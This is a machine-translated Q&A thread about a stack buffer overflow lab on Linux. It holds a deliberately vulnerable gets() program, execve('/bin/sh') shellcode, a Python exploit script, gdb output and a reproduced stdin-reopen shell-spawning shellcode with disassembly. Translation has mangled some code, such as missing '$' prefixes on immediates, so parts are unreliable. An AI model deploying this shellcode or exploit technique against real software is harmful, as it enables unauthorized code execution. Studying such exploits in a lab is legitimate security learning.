Shellcode для простого переполнения стека: эксплуатируемая программа с оболочкой завершается непосредственно после execve ("/bin/sh")
Я играл с переполнениями буфера в Linux (amd64) и пытался использовать простую программу, но это не удалось. Я отключил функции безопасности (рандомизация адресного пространства с помощью sysctl -w как ядра.randomize_va_space=0 и NX бит в BIOS). Он переходит в стек и выполняет шелл-код, но не запускает оболочку. Execve syscall преуспевает, но после этого он просто завершается. Есть идеи, что случилось? Запуск автономного shellcode работает просто отлично.
бонус вопрос: почему мне нужно установить rax на ноль перед вызовом printf? (См. комментарий в коде)
уязвимого файла буфера.s:
.data
.fmtsp:
.string "Stackpointer %pn"
.fmtjump:
.string "Jump to %pn"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub 0, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov x68732f6e69622fff, %rbx
shr x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add x3b, %rax
syscall
exploit.py
shellcode = "x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xf6x48x31xd2x48x31xc0x48x83xc0x3bx0fx05"
stackpointer = "x7fxffxffxffxe3x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
составлен с:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
начинается с
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
отладка с gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
2 ответов
У меня сейчас почти такая же проблема с Ubuntu 9.10 в виртуальной машине. Отключены все измерения безопасности ОС и простые эксплойты, такие как "выйти из программы и установить код выхода 42", работают, но при попытке открыть оболочку программа просто завершается. Выход gdb идентичен:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
дело в том, что мне нужно, чтобы он работал примерно. 16 часов для презентации: - D
обновление: Я нашел этот аккуратный кабинет.: www.shell-storm.org/papers/files/539.pdf
на странице 16 говорится: "Если мы попытаемся выполнить оболочку, она немедленно завершится в этой конфигурации"
в других примерах, которые не используют gets (), они очень хорошо порождают оболочку. К сожалению, они не дают намека на то, почему это не работает таким образом. :(
Следующее Обновление: Кажется, это связано с stdin. Оболочка не может правильно использовать тот, который она получает от исходного процесса. Я попытался использовать минимальную оболочку Я нашел исходный код для (evilsh). Он разбился в том месте, где пытался считывать данные. Я предполагаю, что bash/dash проверяет это и просто молча выходит, когда что-то не так с stdin.
ОК, Пожалуйста, не убивайте меня за этот разговор с самим собой, но...
Я нашел решение!
по какой-то причине необходимо снова открыть входные данные. Я нашел рабочий shellcode здесь:
http://www.milw0rm.com/shellcode/2040
Я не вижу подсказки жесткой,но я могу запускать программы и т. д. использование оболочки, которая открывается.
ссылка, предоставленная Zenoc, мертва, но все еще может быть найдена в машине Wayback. Для удобства я воспроизвел его ниже. Я должен был включить add x10,%esp
вверху, чтобы дать мне больше пространства стека, как все push
es в коде съели в буфер, где хранился мой шеллкод. Если вы хотите включить это в шеллкод, просто добавьте "\x83\xc4\x10 " в начало. Шеллкод составляет 55 байт без моего добавления и 58 с.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov x6,%al
* 8049386: cd 80 int x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push x7974742f
* 804938e: 68 2f 64 65 76 push x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov x2712,%cx
* 804939b: b0 05 mov x5,%al
* 804939d: cd 80 int x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push x68732f2f
* 80493a7: 68 2f 62 69 6e push x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov xb,%al
* 80493b5: cd 80 int x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
примечание: Я не мог добавить это как отредактируйте ответ Zenoc, потому что очередь редактирования заполнена.
если у вас возникли проблемы с определением адреса вашего shellcode из-за различных стеков в терминале и gdb
, взгляните на мой ответ здесь.